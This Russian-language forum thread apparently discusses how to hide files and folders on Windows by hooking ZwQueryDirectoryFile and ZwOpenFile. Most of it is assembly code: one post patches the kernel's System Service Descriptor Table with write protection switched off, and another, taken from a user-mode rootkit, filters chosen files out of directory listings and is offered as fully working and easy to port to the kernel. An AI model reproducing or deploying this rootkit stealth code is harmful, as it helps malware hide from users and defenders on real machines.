Для скрытия файлов и папок гуры советуют перехватывать ZwQueryDirectoryFile. Делаю перехват, простенький, лишь бы отметиться: Код (Text): NTSTATUS __declspec(naked) NewZwQueryDirectoryFile(){ DbgPrint ("NewZwQueryDirectoryFile"); _asm jmp OldZwQueryDirectoryFile } При открытии проводника, папок в проводнике и проч. операциях ZwQueryDirectoryFile (и соответственно NewZwQueryDirectoryFile) не вызывается. Откуда проводник берет информацию ? Вызывается только при запуске файлов на исполнение. Пробовал также перехватывать ZwOpenFile и ZwOpenDirectoryObject c тем же эффектом.
проводник юзает FindFirstFileA, FindNextFileA ( через них он обращается к NativeAPI ). ты видимо юзаешь перехват путем подмены таблицы импорта. или stdcall делай...
Ms Rem Что значит криво? Расшифровка этого понятия возможна? И если криво, почему система не падает при jmp OldZwQueryDirectoryFile? Я ж специально оговорил, что при открытии файла новая ZwQueryDirectoryFile вызывается. Т.е. механизм, как я полагаю, рабочий.
Так как метод рабочий, но у тебя он не работает то из этого следует логичный вывод - криво написал. Ничего конкретного правда сказать не могу, так как телепатией не обладаю.
Да пользовал твои ф-ции HookCode сотоварищи Сейчас решил перепроверить, сделал через хук sdt. Сделал на ZwOpenFile, т.к. через неё обязательно должен пройти вызов для получения хэндла директории, который будет передаваться в ZwQueryDirectoryFile, заодно в OBJECT_ATTRIBUTES можно имя посмотреть: Код (Text): DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING pushad mov edi, KeServiceDescriptorTable mov edi, [edi] mov edi, [edi] mov eax, [edi+(074h*4)] ;edi+074h*4 - ZwOpenFile mov trueZwOpenFile,eax ;-------------------------------------------- cli mov eax, CR0 mov tmpCR0, eax and eax, -1 mov cr0, eax mov [edi+(074h*4)], dword ptr offset NewZwOpenFile mov eax, tmpCR0 mov CR0, eax sti invoke DbgPrint, $CTA0("True point: %08X"), dword ptr [trueZwOpenFile] lea eax,NewZwOpenFile invoke DbgPrint, $CTA0("Hooked to %08X"), eax mov eax, pDriverObject mov [eax.DRIVER_OBJECT].DriverUnload, offset DriverUnload popad mov eax, STATUS_SUCCESS ret DriverEntry endp ;------------------------------------------------------------- NewZwOpenFile: mov eax,esp add eax,12 mov eax,[eax] add eax,8 mov eax,[eax] add eax,4 cmp word ptr[eax+6],03Ah ;выводит некий мусор вперемешку с именем файрвола jne @F ;и rpcss.dll поэтому отсеиваю invoke DbgPrint, $CTA0("%S"), eax @@: jmp dword ptr trueZwOpenFile Визуально в DbgView ничего не происходит, кроме дежурного открытия файрвола. Т.е. открытие проводника и папок в нем не вызывает код NewZwOpenFile. Если запустить например C:\1.txt, то выводится имя нотепада, само же имя текстового файла не фигурирует. Что тут неправильного?
А разве ZwCreateFile вызывается при перечислении файлов или отображении в проводнике? Насколько я понимаю - нет, соответственно и хукать его смысла нет. Кстати, код правильный? Может неявные ошибки какие? И ещё вопрос в тему (как запасной вариант): если перехватывать ZwQueryDirectoryFile, то в момент перехвата находится драйвер в контексте вызывающего приложения? Надо ли делать PsGetCurrentProcess -> KeStackAttachProcess чтобы прочесть возвращаемый буфер. Если читать напрямую буфер в FILE_BOTH, то перезагрузка.
Мля, я тебе говорю про открытие. На кой х..й спрашивается ты тогда ZwOpenFile хукаешь? Ты у меня спросил почему не видно открываемых файлов я ответил. А для скрытия хукай ZwQueryDirectoryFile. Мегалол. Вызов в контексте вызывающего процесса идет. Значит написал криво.
Ms Rem Я уже привел кусок кода, который ты называешь кривым, но ничего кривого ты не показал в нем. Также и с ZwQueryDirectoryFile. Вместо бесконечного повторения слова криво покажи, что неправильно: Код (Text): ;------------------------------------------------------------- NewZwQueryDirectoryFile: mov eax,dword ptr [esp+32] .if (eax==3) mov eax,dword ptr [esp+24] mov bufferAddr,eax ;pointer to FILE_BOTH_DIRECTORY_INFORMATION .else mov bufferAddr,0 .endif pop trueReturnAddr call dword ptr trueZwQueryDirectoryFile .if (!eax) push eax push ebx mov ebx,bufferAddr .if (ebx) assume ebx : ptr FILE_BOTH_DIRECTORY_INFORMATION @@: lea eax,[ebx].FileName invoke DbgPrint, $CTA0("Name = %S"),eax cmp [ebx].NextEntryOffset,0 je @F add ebx,[ebx].NextEntryOffset jmp @B @@: assume ebx : nothing .endif pop ebx pop eax .endif push trueReturnAddr retn ;------------------------------------------------------------- ZwOpenFile хукаю потому, что для получения хэндла директории её вызов предшествует вызову ZwQueryDirectoryFile, в которую этот хэндл передается. И один из параметров ZwOpenFile содержит имя директории для открытия. Вот почему. А открытие меня не интересует. В теме же указано, что скрыть надо файлы и папки.
Если перехват ZwOpenFile работает, то значит кривость в другом куске. Вобще код у тебя какой-то странный, что такое bufferAddr? Глобальная переменная чтоли? Что такое trueReturnAddr и нафиг это здесь надо? Дальше почему в DbgPrint стоит %s когда надо %ws? Правильно ли у тебя определена структура FILE_BOTH_DIRECTORY_INFORMATION? Почему не сохраняется регистр ebx? (а его сохранение важно). Вот код моего варианта обработчика, и код 100% рабочий. Код (Text): NewZwQueryDirectoryFile: push ebp mov ebp, esp push edi call GetInjData push dword [ebp+30h] push dword [ebp+2Ch] push dword [ebp+28h] push dword [ebp+24h] push dword [ebp+20h] push dword [ebp+1Ch] push dword [ebp+18h] push dword [ebp+14h] push dword [ebp+10h] push dword [ebp+0Ch] push dword [ebp+8] call dword [edi + INJ_DATA.pTrueZwQueryDirectoryFile] test eax, eax mov [ebp+30h], eax jl zExit cmp byte [ebp+28h], 0 jnz zExit cmp dword [ebp+24h], 3 jnz zExit call IsTrueProcess test al, al jnz zExit push ebx mov ebx, [ebp+28h] push esi push edx xor edx, edx zfLoop: mov eax, [ebp+1Ch] lea esi, [edx+eax] mov eax, [esi+3Ch] add edx, [esi] shr eax, 1 push eax lea eax, [esi+5Eh] push eax mov eax, [edi + INJ_DATA.pSetData] lea eax, [eax + SET_DATA.HiddenFiles] push eax call IsMaskEquate test al, al jz zNotHidden mov eax, [esi] test eax, eax jz zNotNextEntry test ebx, ebx jz @F add [ebx], eax jmp @F zNotHidden: mov ebx, esi @@: cmp dword [esi], 0 jnz zfLoop jmp @F zNotNextEntry: test ebx, ebx jz zNoMoreFiles and dword [ebx], 0 jmp @F zNoMoreFiles: mov dword [ebp+30h], 080000006h @@: pop edx pop esi pop ebx zExit: mov eax, [ebp+30h] pop edi pop ebp retn 2Ch
ebx сохраняется. Структура определена правильно, из winddk. Все поля структуры, кроме имени файла определяются вполне правдоподобно. В качестве форматтера используется %S, а не %s, что это значит - можно в msdn посмотреть. И какая разница, получен указатель на буфер с данными перед вызовом или после вызова? Он же не меняется функцией :-\ В этом что-ли усмотрена кривость? А этот код с GetInjData и INJ_DATA, что ты показал - он к чему? Что инжектировать? Куда? Я ж написал, что просто меняю в sdt один дворд. Для этого разве нужно инжектировать что-то? Мда...
Кривость усмотрена в применении глобальных переменных, так как вызов может произойти одновременно в нескольких потоках, в этом случае падение практически неизбежно. Если непонятно - то это код из юзермодного руткита, но его легко перенести в ядро, достаточно убрать GetInjData и напсисать функцию проверки скрытности файла по имени и вставить ее вместо IsMaskEquate. Я тебе дал рабочий код, и если у тебя возникают какие-либо проблемы с отладкой своего кода или применением моего, то это от лени. Нет ничего проще чем прогнать свой обработчик в айсе и найти ошибку.
Да что ты говоришь. А как по твоему можно получить инфу свойствах файла и прочей лабуды ?? а если это ехек, каким макаром ты из него иконку вытащишь не открывая ? ты лучше файлмон запусти и глянь глазвами
гыгы, ты ужо находишься в контексте процесса, и насколько мне помнится из опыта уровень irql в этом месте passive, к тому же на данной стадии файловые операции синхронны, так нахрена тебе это надо ?
верни инвалид хэндл валуе и все, не вызывая оригинал, кто тебе мешает, если приложение не дибил писал, то думаю не будт по этому хэндлу файл читать и писать, да и если и буде то что.